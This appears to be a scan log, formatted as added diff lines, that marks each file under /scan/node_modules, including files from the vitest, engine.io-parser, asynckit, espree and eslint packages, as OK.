+/scan/node_modules/@vitest/utils/dist/ast.d.ts: OK
+/scan/node_modules/@vitest/utils/dist/diff.js: OK
+/scan/node_modules/@vitest/utils/dist/ast.js: OK
+/scan/node_modules/@vitest/utils/package.json: OK
+/scan/node_modules/@vitest/utils/helpers.d.ts: OK
+/scan/node_modules/@vitest/expect/LICENSE: OK
+/scan/node_modules/@vitest/expect/dist/index.js: OK
+/scan/node_modules/@vitest/expect/dist/chai.d.cts: OK
+/scan/node_modules/@vitest/expect/dist/index.d.ts: OK
+/scan/node_modules/@vitest/expect/README.md: OK
+/scan/node_modules/@vitest/expect/package.json: OK
+/scan/node_modules/@vitest/expect/index.d.ts: OK
+/scan/node_modules/engine.io-parser/LICENSE: OK
+/scan/node_modules/engine.io-parser/Readme.md: OK
+/scan/node_modules/engine.io-parser/package.json: OK
+/scan/node_modules/engine.io-parser/build/esm/decodePacket.js: OK
+/scan/node_modules/engine.io-parser/build/esm/decodePacket.browser.js: OK
+/scan/node_modules/engine.io-parser/build/esm/decodePacket.browser.d.ts: OK
+/scan/node_modules/engine.io-parser/build/esm/index.js: OK
+/scan/node_modules/engine.io-parser/build/esm/commons.d.ts: OK
+/scan/node_modules/engine.io-parser/build/esm/contrib/base64-arraybuffer.d.ts: OK
+/scan/node_modules/engine.io-parser/build/esm/contrib/base64-arraybuffer.js: OK
+/scan/node_modules/engine.io-parser/build/esm/encodePacket.browser.d.ts: OK
+/scan/node_modules/engine.io-parser/build/esm/package.json: OK
+/scan/node_modules/engine.io-parser/build/esm/encodePacket.js: OK
+/scan/node_modules/engine.io-parser/build/esm/encodePacket.browser.js: OK
+/scan/node_modules/engine.io-parser/build/esm/commons.js: OK
+/scan/node_modules/engine.io-parser/build/esm/index.d.ts: OK
+/scan/node_modules/engine.io-parser/build/esm/encodePacket.d.ts: OK
+/scan/node_modules/engine.io-parser/build/esm/decodePacket.d.ts: OK
+/scan/node_modules/engine.io-parser/build/cjs/decodePacket.js: OK
+/scan/node_modules/engine.io-parser/build/cjs/decodePacket.browser.js: OK
+/scan/node_modules/engine.io-parser/build/cjs/decodePacket.browser.d.ts: OK
+/scan/node_modules/engine.io-parser/build/cjs/index.js: OK
+/scan/node_modules/engine.io-parser/build/cjs/commons.d.ts: OK
+/scan/node_modules/engine.io-parser/build/cjs/contrib/base64-arraybuffer.d.ts: OK
+/scan/node_modules/engine.io-parser/build/cjs/contrib/base64-arraybuffer.js: OK
+/scan/node_modules/engine.io-parser/build/cjs/encodePacket.browser.d.ts: OK
+/scan/node_modules/engine.io-parser/build/cjs/package.json: OK
+/scan/node_modules/engine.io-parser/build/cjs/encodePacket.js: OK
+/scan/node_modules/engine.io-parser/build/cjs/encodePacket.browser.js: OK
+/scan/node_modules/engine.io-parser/build/cjs/commons.js: OK
+/scan/node_modules/engine.io-parser/build/cjs/index.d.ts: OK
+/scan/node_modules/engine.io-parser/build/cjs/encodePacket.d.ts: OK
+/scan/node_modules/engine.io-parser/build/cjs/decodePacket.d.ts: OK
+/scan/node_modules/asynckit/stream.js: OK
+/scan/node_modules/asynckit/LICENSE: OK
+/scan/node_modules/asynckit/index.js: OK
+/scan/node_modules/asynckit/README.md: OK
+/scan/node_modules/asynckit/parallel.js: OK
+/scan/node_modules/asynckit/serialOrdered.js: OK
+/scan/node_modules/asynckit/package.json: OK
+/scan/node_modules/asynckit/lib/abort.js: OK
+/scan/node_modules/asynckit/lib/terminator.js: OK
+/scan/node_modules/asynckit/lib/iterate.js: OK
+/scan/node_modules/asynckit/lib/readable_serial_ordered.js: OK
+/scan/node_modules/asynckit/lib/readable_parallel.js: OK
+/scan/node_modules/asynckit/lib/streamify.js: OK
+/scan/node_modules/asynckit/lib/readable_asynckit.js: OK
+/scan/node_modules/asynckit/lib/async.js: OK
+/scan/node_modules/asynckit/lib/state.js: OK
+/scan/node_modules/asynckit/lib/readable_serial.js: OK
+/scan/node_modules/asynckit/lib/defer.js: OK
+/scan/node_modules/asynckit/bench.js: OK
+/scan/node_modules/asynckit/serial.js: OK
+/scan/node_modules/event-target-shim/LICENSE: OK
+/scan/node_modules/event-target-shim/dist/event-target-shim.umd.js.map: OK
+/scan/node_modules/event-target-shim/dist/event-target-shim.mjs.map: OK
+/scan/node_modules/event-target-shim/dist/event-target-shim.umd.js: OK
+/scan/node_modules/event-target-shim/dist/event-target-shim.js.map: OK
+/scan/node_modules/event-target-shim/dist/event-target-shim.js: OK
+/scan/node_modules/event-target-shim/dist/event-target-shim.mjs: OK
+/scan/node_modules/event-target-shim/README.md: OK
+/scan/node_modules/event-target-shim/package.json: OK
+/scan/node_modules/event-target-shim/index.d.ts: OK
+/scan/node_modules/ipaddr.js/LICENSE: OK
+/scan/node_modules/ipaddr.js/README.md: OK
+/scan/node_modules/ipaddr.js/ipaddr.min.js: OK
+/scan/node_modules/ipaddr.js/package.json: OK
+/scan/node_modules/ipaddr.js/lib/ipaddr.js: OK
+/scan/node_modules/ipaddr.js/lib/ipaddr.js.d.ts: OK
+/scan/node_modules/espree/LICENSE: OK
+/scan/node_modules/espree/dist/espree.cjs: OK
+/scan/node_modules/espree/README.md: OK
+/scan/node_modules/espree/package.json: OK
+/scan/node_modules/espree/lib/features.js: OK
+/scan/node_modules/espree/lib/options.js: OK
+/scan/node_modules/espree/lib/token-translator.js: OK
+/scan/node_modules/espree/lib/version.js: OK
+/scan/node_modules/espree/lib/espree.js: OK
+/scan/node_modules/espree/espree.js: OK
+/scan/node_modules/eslint/messages/eslintrc-plugins.js: OK
+/scan/node_modules/eslint/messages/plugin-invalid.js: OK
+/scan/node_modules/eslint/messages/failed-to-read-json.js: OK
+/scan/node_modules/eslint/messages/eslintrc-incompat.js: OK
+/scan/node_modules/eslint/messages/plugin-missing.js: OK
+/scan/node_modules/eslint/messages/file-not-found.js: OK
+/scan/node_modules/eslint/messages/invalid-rule-severity.js: OK
+/scan/node_modules/eslint/messages/extend-config-missing.js: OK
+/scan/node_modules/eslint/messages/all-files-ignored.js: OK
+/scan/node_modules/eslint/messages/invalid-rule-options.js: OK
+/scan/node_modules/eslint/messages/print-config-with-directory-path.js: OK
+/scan/node_modules/eslint/messages/plugin-conflict.js: OK
+/scan/node_modules/eslint/messages/whitespace-found.js: OK
+/scan/node_modules/eslint/messages/shared.js: OK
+/scan/node_modules/eslint/messages/no-config-found.js: OK
+/scan/node_modules/eslint/LICENSE: OK
+/scan/node_modules/eslint/bin/eslint.js: OK
+/scan/node_modules/eslint/README.md: OK
+/scan/node_modules/eslint/package.json: OK
+/scan/node_modules/eslint/lib/rule-tester/flat-rule-tester.js: OK
+/scan/node_modules/eslint/lib/rule-tester/index.js: OK
+/scan/node_modules/eslint/lib/rule-tester/rule-tester.js: OK
+/scan/node_modules/eslint/lib/unsupported-api.js: OK
+/scan/node_modules/eslint/lib/cli-engine/load-rules.js: OK
+/scan/node_modules/eslint/lib/cli-engine/lint-result-cache.js: OK
+/scan/node_modules/eslint/lib/cli-engine/index.js: OK
+/scan/node_modules/eslint/lib/cli-engine/formatters/html.js: OK
+/scan/node_modules/eslint/lib/cli-engine/formatters/compact.js: OK
+/scan/node_modules/eslint/lib/cli-engine/formatters/visualstudio.js: OK
+/scan/node_modules/eslint/lib/cli-engine/formatters/unix.js: OK
+/scan/node_modules/eslint/lib/cli-engine/formatters/stylish.js: OK
+/scan/node_modules/eslint/lib/cli-engine/formatters/json-with-metadata.js: OK
+/scan/node_modules/eslint/lib/cli-engine/formatters/json.js: OK
+/scan/node_modules/eslint/lib/cli-engine/formatters/jslint-xml.js: OK
+/scan/node_modules/eslint/lib/cli-engine/formatters/checkstyle.js: OK
+/scan/node_modules/eslint/lib/cli-engine/formatters/tap.js: OK
+/scan/node_modules/eslint/lib/cli-engine/formatters/formatters-meta.json: OK
+/scan/node_modules/eslint/lib/cli-engine/formatters/junit.js: OK
+/scan/node_modules/eslint/lib/cli-engine/file-enumerator.js: OK
+/scan/node_modules/eslint/lib/cli-engine/xml-escape.js: OK
+/scan/node_modules/eslint/lib/cli-engine/hash.js: OK
+/scan/node_modules/eslint/lib/cli-engine/cli-engine.js: OK
+/scan/node_modules/eslint/lib/config/flat-config-schema.js: OK
+/scan/node_modules/eslint/lib/config/rule-validator.js: OK
+/scan/node_modules/eslint/lib/config/flat-config-array.js: OK
+/scan/node_modules/eslint/lib/config/flat-config-helpers.js: OK
+/scan/node_modules/eslint/lib/config/default-config.js: OK
+/scan/node_modules/eslint/lib/linter/rules.js: OK
+/scan/node_modules/eslint/lib/linter/source-code-fixer.js: OK
+/scan/node_modules/eslint/lib/linter/rule-fixer.js: OK
+/scan/node_modules/eslint/lib/linter/safe-emitter.js: OK
+/scan/node_modules/eslint/lib/linter/index.js: OK
+/scan/node_modules/eslint/lib/linter/node-event-generator.js: OK
+/scan/node_modules/eslint/lib/linter/config-comment-parser.js: OK
+/scan/node_modules/eslint/lib/linter/apply-disable-directives.js: OK
+/scan/node_modules/eslint/lib/linter/report-translator.js: OK
+/scan/node_modules/eslint/lib/linter/code-path-analysis/code-path-state.js: OK
+/scan/node_modules/eslint/lib/linter/code-path-analysis/code-path-segment.js: OK
+/scan/node_modules/eslint/lib/linter/code-path-analysis/code-path.js: OK
+/scan/node_modules/eslint/lib/linter/code-path-analysis/id-generator.js: OK
+/scan/node_modules/eslint/lib/linter/code-path-analysis/fork-context.js: OK
+/scan/node_modules/eslint/lib/linter/code-path-analysis/debug-helpers.js: OK
+/scan/node_modules/eslint/lib/linter/code-path-analysis/code-path-analyzer.js: OK
+/scan/node_modules/eslint/lib/linter/linter.js: OK
+/scan/node_modules/eslint/lib/linter/timing.js: OK
+/scan/node_modules/eslint/lib/linter/interpolate.js: OK
+/scan/node_modules/eslint/lib/options.js: OK
+/scan/node_modules/eslint/lib/shared/types.js: OK
+/scan/node_modules/eslint/lib/shared/string-utils.js: OK
+/scan/node_modules/eslint/lib/shared/relative-module-resolver.js: OK
+/scan/node_modules/eslint/lib/shared/deprecation-warnings.js: OK
+/scan/node_modules/eslint/lib/shared/logging.js: OK
+/scan/node_modules/eslint/lib/shared/severity.js: OK
+/scan/node_modules/eslint/lib/shared/ast-utils.js: OK
+/scan/node_modules/eslint/lib/shared/runtime-info.js: OK
+/scan/node_modules/eslint/lib/shared/directives.js: OK
+/scan/node_modules/eslint/lib/shared/ajv.js: OK
+/scan/node_modules/eslint/lib/shared/config-validator.js: OK
+/scan/node_modules/eslint/lib/shared/traverser.js: OK
+/scan/node_modules/eslint/lib/rules/no-var.js: OK
+/scan/node_modules/eslint/lib/rules/sort-vars.js: OK
+/scan/node_modules/eslint/lib/rules/implicit-arrow-linebreak.js: OK
+/scan/node_modules/eslint/lib/rules/no-buffer-constructor.js: OK
+/scan/node_modules/eslint/lib/rules/no-new-symbol.js: OK
+/scan/node_modules/eslint/lib/rules/no-compare-neg-zero.js: OK
+/scan/node_modules/eslint/lib/rules/no-extra-semi.js: OK
+/scan/node_modules/eslint/lib/rules/padding-line-between-statements.js: OK
+/scan/node_modules/eslint/lib/rules/dot-notation.js: OK
+/scan/node_modules/eslint/lib/rules/id-match.js: OK
+/scan/node_modules/eslint/lib/rules/lines-around-comment.js: OK
+/scan/node_modules/eslint/lib/rules/complexity.js: OK
+/scan/node_modules/eslint/lib/rules/guard-for-in.js: OK
+/scan/node_modules/eslint/lib/rules/arrow-parens.js: OK
+/scan/node_modules/eslint/lib/rules/no-new-native-nonconstructor.js: OK
+/scan/node_modules/eslint/lib/rules/class-methods-use-this.js: OK
+/scan/node_modules/eslint/lib/rules/object-curly-newline.js: OK
+/scan/node_modules/eslint/lib/rules/semi-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/no-setter-return.js: OK
+/scan/node_modules/eslint/lib/rules/no-undef.js: OK
+/scan/node_modules/eslint/lib/rules/no-extra-label.js: OK
+/scan/node_modules/eslint/lib/rules/one-var.js: OK
+/scan/node_modules/eslint/lib/rules/strict.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-promise-reject-errors.js: OK
+/scan/node_modules/eslint/lib/rules/space-infix-ops.js: OK
+/scan/node_modules/eslint/lib/rules/wrap-iife.js: OK
+/scan/node_modules/eslint/lib/rules/computed-property-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/no-useless-escape.js: OK
+/scan/node_modules/eslint/lib/rules/array-bracket-newline.js: OK
+/scan/node_modules/eslint/lib/rules/function-call-argument-newline.js: OK
+/scan/node_modules/eslint/lib/rules/consistent-this.js: OK
+/scan/node_modules/eslint/lib/rules/no-floating-decimal.js: OK
+/scan/node_modules/eslint/lib/rules/newline-before-return.js: OK
+/scan/node_modules/eslint/lib/rules/no-dupe-keys.js: OK
+/scan/node_modules/eslint/lib/rules/space-unary-ops.js: OK
+/scan/node_modules/eslint/lib/rules/no-fallthrough.js: OK
+/scan/node_modules/eslint/lib/rules/function-paren-newline.js: OK
+/scan/node_modules/eslint/lib/rules/nonblock-statement-body-position.js: OK
+/scan/node_modules/eslint/lib/rules/no-lonely-if.js: OK
+/scan/node_modules/eslint/lib/rules/no-const-assign.js: OK
+/scan/node_modules/eslint/lib/rules/no-array-constructor.js: OK
+/scan/node_modules/eslint/lib/rules/no-div-regex.js: OK
+/scan/node_modules/eslint/lib/rules/no-irregular-whitespace.js: OK
+/scan/node_modules/eslint/lib/rules/array-callback-return.js: OK
+/scan/node_modules/eslint/lib/rules/indent-legacy.js: OK
+/scan/node_modules/eslint/lib/rules/no-empty-character-class.js: OK
+/scan/node_modules/eslint/lib/rules/no-implied-eval.js: OK
+/scan/node_modules/eslint/lib/rules/lines-between-class-members.js: OK
+/scan/node_modules/eslint/lib/rules/max-len.js: OK
+/scan/node_modules/eslint/lib/rules/no-useless-rename.js: OK
+/scan/node_modules/eslint/lib/rules/for-direction.js: OK
+/scan/node_modules/eslint/lib/rules/no-restricted-properties.js: OK
+/scan/node_modules/eslint/lib/rules/no-empty-pattern.js: OK
+/scan/node_modules/eslint/lib/rules/max-params.js: OK
+/scan/node_modules/eslint/lib/rules/func-name-matching.js: OK
+/scan/node_modules/eslint/lib/rules/no-multi-spaces.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-object-has-own.js: OK
+/scan/node_modules/eslint/lib/rules/no-useless-concat.js: OK
+/scan/node_modules/eslint/lib/rules/multiline-comment-style.js: OK
+/scan/node_modules/eslint/lib/rules/no-constant-condition.js: OK
+/scan/node_modules/eslint/lib/rules/no-eval.js: OK
+/scan/node_modules/eslint/lib/rules/no-loop-func.js: OK
+/scan/node_modules/eslint/lib/rules/array-element-newline.js: OK
+/scan/node_modules/eslint/lib/rules/semi-style.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-named-capture-group.js: OK
+/scan/node_modules/eslint/lib/rules/curly.js: OK
+/scan/node_modules/eslint/lib/rules/operator-linebreak.js: OK
+/scan/node_modules/eslint/lib/rules/yield-star-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/require-unicode-regexp.js: OK
+/scan/node_modules/eslint/lib/rules/no-new.js: OK
+/scan/node_modules/eslint/lib/rules/no-object-constructor.js: OK
+/scan/node_modules/eslint/lib/rules/valid-jsdoc.js: OK
+/scan/node_modules/eslint/lib/rules/no-label-var.js: OK
+/scan/node_modules/eslint/lib/rules/no-eq-null.js: OK
+/scan/node_modules/eslint/lib/rules/no-shadow.js: OK
+/scan/node_modules/eslint/lib/rules/no-self-assign.js: OK
+/scan/node_modules/eslint/lib/rules/no-ternary.js: OK
+/scan/node_modules/eslint/lib/rules/func-call-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/default-case-last.js: OK
+/scan/node_modules/eslint/lib/rules/spaced-comment.js: OK
+/scan/node_modules/eslint/lib/rules/padded-blocks.js: OK
+/scan/node_modules/eslint/lib/rules/no-native-reassign.js: OK
+/scan/node_modules/eslint/lib/rules/no-new-wrappers.js: OK
+/scan/node_modules/eslint/lib/rules/no-implicit-globals.js: OK
+/scan/node_modules/eslint/lib/rules/space-before-function-paren.js: OK
+/scan/node_modules/eslint/lib/rules/no-unmodified-loop-condition.js: OK
+/scan/node_modules/eslint/lib/rules/no-param-reassign.js: OK
+/scan/node_modules/eslint/lib/rules/no-nonoctal-decimal-escape.js: OK
+/scan/node_modules/eslint/lib/rules/no-mixed-operators.js: OK
+/scan/node_modules/eslint/lib/rules/no-new-object.js: OK
+/scan/node_modules/eslint/lib/rules/no-octal.js: OK
+/scan/node_modules/eslint/lib/rules/no-magic-numbers.js: OK
+/scan/node_modules/eslint/lib/rules/eol-last.js: OK
+/scan/node_modules/eslint/lib/rules/arrow-body-style.js: OK
+/scan/node_modules/eslint/lib/rules/no-obj-calls.js: OK
+/scan/node_modules/eslint/lib/rules/no-dupe-else-if.js: OK
+/scan/node_modules/eslint/lib/rules/no-warning-comments.js: OK
+/scan/node_modules/eslint/lib/rules/no-case-declarations.js: OK
+/scan/node_modules/eslint/lib/rules/no-unused-labels.js: OK
+/scan/node_modules/eslint/lib/rules/vars-on-top.js: OK
+/scan/node_modules/eslint/lib/rules/no-negated-in-lhs.js: OK
+/scan/node_modules/eslint/lib/rules/no-extend-native.js: OK
+/scan/node_modules/eslint/lib/rules/use-isnan.js: OK
+/scan/node_modules/eslint/lib/rules/no-ex-assign.js: OK
+/scan/node_modules/eslint/lib/rules/handle-callback-err.js: OK
+/scan/node_modules/eslint/lib/rules/template-tag-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/no-cond-assign.js: OK
+/scan/node_modules/eslint/lib/rules/no-constructor-return.js: OK
+/scan/node_modules/eslint/lib/rules/sort-keys.js: OK
+/scan/node_modules/eslint/lib/rules/no-extra-bind.js: OK
+/scan/node_modules/eslint/lib/rules/comma-dangle.js: OK
+/scan/node_modules/eslint/lib/rules/index.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-exponentiation-operator.js: OK
+/scan/node_modules/eslint/lib/rules/no-unreachable-loop.js: OK
+/scan/node_modules/eslint/lib/rules/eqeqeq.js: OK
+/scan/node_modules/eslint/lib/rules/utils/keywords.js: OK
+/scan/node_modules/eslint/lib/rules/utils/regular-expressions.js: OK
+/scan/node_modules/eslint/lib/rules/utils/patterns/letters.js: OK
+/scan/node_modules/eslint/lib/rules/utils/unicode/is-surrogate-pair.js: OK
+/scan/node_modules/eslint/lib/rules/utils/unicode/index.js: OK
+/scan/node_modules/eslint/lib/rules/utils/unicode/is-combining-character.js: OK
+/scan/node_modules/eslint/lib/rules/utils/unicode/is-regional-indicator-symbol.js: OK
+/scan/node_modules/eslint/lib/rules/utils/unicode/is-emoji-modifier.js: OK
+/scan/node_modules/eslint/lib/rules/utils/ast-utils.js: OK
+/scan/node_modules/eslint/lib/rules/utils/lazy-loading-rule-map.js: OK
+/scan/node_modules/eslint/lib/rules/utils/fix-tracker.js: OK
+/scan/node_modules/eslint/lib/rules/no-proto.js: OK
+/scan/node_modules/eslint/lib/rules/no-process-exit.js: OK
+/scan/node_modules/eslint/lib/rules/id-denylist.js: OK
+/scan/node_modules/eslint/lib/rules/newline-after-var.js: OK
+/scan/node_modules/eslint/lib/rules/no-alert.js: OK
+/scan/node_modules/eslint/lib/rules/func-style.js: OK
+/scan/node_modules/eslint/lib/rules/capitalized-comments.js: OK
+/scan/node_modules/eslint/lib/rules/no-sparse-arrays.js: OK
+/scan/node_modules/eslint/lib/rules/no-unused-vars.js: OK
+/scan/node_modules/eslint/lib/rules/linebreak-style.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-numeric-literals.js: OK
+/scan/node_modules/eslint/lib/rules/no-restricted-modules.js: OK
+/scan/node_modules/eslint/lib/rules/no-sequences.js: OK
+/scan/node_modules/eslint/lib/rules/no-whitespace-before-property.js: OK
+/scan/node_modules/eslint/lib/rules/no-duplicate-case.js: OK
+/scan/node_modules/eslint/lib/rules/object-shorthand.js: OK
+/scan/node_modules/eslint/lib/rules/yoda.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-regex-literals.js: OK
+/scan/node_modules/eslint/lib/rules/no-plusplus.js: OK
+/scan/node_modules/eslint/lib/rules/no-unsafe-finally.js: OK
+/scan/node_modules/eslint/lib/rules/no-throw-literal.js: OK
+/scan/node_modules/eslint/lib/rules/no-labels.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-reflect.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-template.js: OK
+/scan/node_modules/eslint/lib/rules/no-loss-of-precision.js: OK
+/scan/node_modules/eslint/lib/rules/brace-style.js: OK
+/scan/node_modules/eslint/lib/rules/no-control-regex.js: OK
+/scan/node_modules/eslint/lib/rules/logical-assignment-operators.js: OK
+/scan/node_modules/eslint/lib/rules/no-useless-backreference.js: OK
+/scan/node_modules/eslint/lib/rules/max-lines-per-function.js: OK
+/scan/node_modules/eslint/lib/rules/radix.js: OK
+/scan/node_modules/eslint/lib/rules/no-constant-binary-expression.js: OK
+/scan/node_modules/eslint/lib/rules/no-global-assign.js: OK
+/scan/node_modules/eslint/lib/rules/accessor-pairs.js: OK
+/scan/node_modules/eslint/lib/rules/no-path-concat.js: OK
+/scan/node_modules/eslint/lib/rules/require-atomic-updates.js: OK
+/scan/node_modules/eslint/lib/rules/block-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/no-prototype-builtins.js: OK
+/scan/node_modules/eslint/lib/rules/no-catch-shadow.js: OK
+/scan/node_modules/eslint/lib/rules/no-useless-call.js: OK
+/scan/node_modules/eslint/lib/rules/id-length.js: OK
+/scan/node_modules/eslint/lib/rules/no-unsafe-optional-chaining.js: OK
+/scan/node_modules/eslint/lib/rules/no-caller.js: OK
+/scan/node_modules/eslint/lib/rules/consistent-return.js: OK
+/scan/node_modules/eslint/lib/rules/switch-colon-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/no-duplicate-imports.js: OK
+/scan/node_modules/eslint/lib/rules/no-inner-declarations.js: OK
+/scan/node_modules/eslint/lib/rules/operator-assignment.js: OK
+/scan/node_modules/eslint/lib/rules/no-nested-ternary.js: OK
+/scan/node_modules/eslint/lib/rules/quotes.js: OK
+/scan/node_modules/eslint/lib/rules/no-extra-boolean-cast.js: OK
+/scan/node_modules/eslint/lib/rules/no-spaced-func.js: OK
+/scan/node_modules/eslint/lib/rules/default-case.js: OK
+/scan/node_modules/eslint/lib/rules/key-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/symbol-description.js: OK
+/scan/node_modules/eslint/lib/rules/block-scoped-var.js: OK
+/scan/node_modules/eslint/lib/rules/callback-return.js: OK
+/scan/node_modules/eslint/lib/rules/jsx-quotes.js: OK
+/scan/node_modules/eslint/lib/rules/default-param-last.js: OK
+/scan/node_modules/eslint/lib/rules/template-curly-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/no-unreachable.js: OK
+/scan/node_modules/eslint/lib/rules/valid-typeof.js: OK
+/scan/node_modules/eslint/lib/rules/no-invalid-regexp.js: OK
+/scan/node_modules/eslint/lib/rules/newline-per-chained-call.js: OK
+/scan/node_modules/eslint/lib/rules/no-undef-init.js: OK
+/scan/node_modules/eslint/lib/rules/require-yield.js: OK
+/scan/node_modules/eslint/lib/rules/space-before-blocks.js: OK
+/scan/node_modules/eslint/lib/rules/no-new-require.js: OK
+/scan/node_modules/eslint/lib/rules/no-confusing-arrow.js: OK
+/scan/node_modules/eslint/lib/rules/no-empty-function.js: OK
+/scan/node_modules/eslint/lib/rules/semi.js: OK
+/scan/node_modules/eslint/lib/rules/no-useless-constructor.js: OK
+/scan/node_modules/eslint/lib/rules/no-unexpected-multiline.js: OK
+/scan/node_modules/eslint/lib/rules/no-restricted-exports.js: OK
+/scan/node_modules/eslint/lib/rules/no-new-func.js: OK
+/scan/node_modules/eslint/lib/rules/no-invalid-this.js: OK
+/scan/node_modules/eslint/lib/rules/quote-props.js: OK
+/scan/node_modules/eslint/lib/rules/no-void.js: OK
+/scan/node_modules/eslint/lib/rules/no-process-env.js: OK
+/scan/node_modules/eslint/lib/rules/no-restricted-syntax.js: OK
+/scan/node_modules/eslint/lib/rules/no-implicit-coercion.js: OK
+/scan/node_modules/eslint/lib/rules/camelcase.js: OK
+/scan/node_modules/eslint/lib/rules/init-declarations.js: OK
+/scan/node_modules/eslint/lib/rules/line-comment-position.js: OK
+/scan/node_modules/eslint/lib/rules/no-await-in-loop.js: OK
+/scan/node_modules/eslint/lib/rules/no-unused-expressions.js: OK
+/scan/node_modules/eslint/lib/rules/no-unsafe-negation.js: OK
+/scan/node_modules/eslint/lib/rules/no-async-promise-executor.js: OK
+/scan/node_modules/eslint/lib/rules/rest-spread-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/array-bracket-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/no-mixed-requires.js: OK
+/scan/node_modules/eslint/lib/rules/no-tabs.js: OK
+/scan/node_modules/eslint/lib/rules/arrow-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/func-names.js: OK
+/scan/node_modules/eslint/lib/rules/no-restricted-imports.js: OK
+/scan/node_modules/eslint/lib/rules/no-unneeded-ternary.js: OK
+/scan/node_modules/eslint/lib/rules/no-use-before-define.js: OK
+/scan/node_modules/eslint/lib/rules/id-blacklist.js: OK
+/scan/node_modules/eslint/lib/rules/no-debugger.js: OK
+/scan/node_modules/eslint/lib/rules/max-statements.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-spread.js: OK
+/scan/node_modules/eslint/lib/rules/keyword-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/no-lone-blocks.js: OK
+/scan/node_modules/eslint/lib/rules/new-parens.js: OK
+/scan/node_modules/eslint/lib/rules/getter-return.js: OK
+/scan/node_modules/eslint/lib/rules/no-empty.js: OK
+/scan/node_modules/eslint/lib/rules/no-shadow-restricted-names.js: OK
+/scan/node_modules/eslint/lib/rules/no-import-assign.js: OK
+/scan/node_modules/eslint/lib/rules/no-this-before-super.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-object-spread.js: OK
+/scan/node_modules/eslint/lib/rules/comma-style.js: OK
+/scan/node_modules/eslint/lib/rules/no-undefined.js: OK
+/scan/node_modules/eslint/lib/rules/max-lines.js: OK
+/scan/node_modules/eslint/lib/rules/indent.js: OK
+/scan/node_modules/eslint/lib/rules/no-continue.js: OK
+/scan/node_modules/eslint/lib/rules/no-func-assign.js: OK
+/scan/node_modules/eslint/lib/rules/no-iterator.js: OK
+/scan/node_modules/eslint/lib/rules/no-else-return.js: OK
+/scan/node_modules/eslint/lib/rules/no-mixed-spaces-and-tabs.js: OK
+/scan/node_modules/eslint/lib/rules/no-redeclare.js: OK
+/scan/node_modules/eslint/lib/rules/object-curly-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/global-require.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-arrow-callback.js: OK
+/scan/node_modules/eslint/lib/rules/generator-star-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/no-useless-catch.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-const.js: OK
+/scan/node_modules/eslint/lib/rules/no-extra-parens.js: OK
+/scan/node_modules/eslint/lib/rules/no-console.js: OK
+/scan/node_modules/eslint/lib/rules/space-in-parens.js: OK
+/scan/node_modules/eslint/lib/rules/no-return-await.js: OK
+/scan/node_modules/eslint/lib/rules/no-class-assign.js: OK
+/scan/node_modules/eslint/lib/rules/no-inline-comments.js: OK
+/scan/node_modules/eslint/lib/rules/no-trailing-spaces.js: OK
+/scan/node_modules/eslint/lib/rules/no-self-compare.js: OK
+/scan/node_modules/eslint/lib/rules/grouped-accessor-pairs.js: OK
+/scan/node_modules/eslint/lib/rules/object-property-newline.js: OK
+/scan/node_modules/eslint/lib/rules/no-multi-assign.js: OK
+/scan/node_modules/eslint/lib/rules/one-var-declaration-per-line.js: OK
+/scan/node_modules/eslint/lib/rules/no-with.js: OK
+/scan/node_modules/eslint/lib/rules/no-empty-static-block.js: OK
+/scan/node_modules/eslint/lib/rules/constructor-super.js: OK
+/scan/node_modules/eslint/lib/rules/no-negated-condition.js: OK
+/scan/node_modules/eslint/lib/rules/no-script-url.js: OK
+/scan/node_modules/eslint/lib/rules/no-multi-str.js: OK
+/scan/node_modules/eslint/lib/rules/max-statements-per-line.js: OK
+/scan/node_modules/eslint/lib/rules/multiline-ternary.js: OK
+/scan/node_modules/eslint/lib/rules/no-promise-executor-return.js: OK
+/scan/node_modules/eslint/lib/rules/no-unused-private-class-members.js: OK
+/scan/node_modules/eslint/lib/rules/max-classes-per-file.js: OK
+/scan/node_modules/eslint/lib/rules/require-jsdoc.js: OK
+/scan/node_modules/eslint/lib/rules/no-bitwise.js: OK
+/scan/node_modules/eslint/lib/rules/unicode-bom.js: OK
+/scan/node_modules/eslint/lib/rules/no-useless-return.js: OK
+/scan/node_modules/eslint/lib/rules/no-delete-var.js: OK
+/scan/node_modules/eslint/lib/rules/no-restricted-globals.js: OK
+/scan/node_modules/eslint/lib/rules/wrap-regex.js: OK
+/scan/node_modules/eslint/lib/rules/dot-location.js: OK
+/scan/node_modules/eslint/lib/rules/max-nested-callbacks.js: OK
+/scan/node_modules/eslint/lib/rules/new-cap.js: OK
+/scan/node_modules/eslint/lib/rules/lines-around-directive.js: OK
+/scan/node_modules/eslint/lib/rules/no-regex-spaces.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-rest-params.js: OK
+/scan/node_modules/eslint/lib/rules/no-template-curly-in-string.js: OK
+/scan/node_modules/eslint/lib/rules/prefer-destructuring.js: OK
+/scan/node_modules/eslint/lib/rules/sort-imports.js: OK
+/scan/node_modules/eslint/lib/rules/comma-spacing.js: OK
+/scan/node_modules/eslint/lib/rules/no-multiple-empty-lines.js: OK
+/scan/node_modules/eslint/lib/rules/no-underscore-dangle.js: OK
+/scan/node_modules/eslint/lib/rules/no-sync.js: OK
+/scan/node_modules/eslint/lib/rules/no-return-assign.js: OK
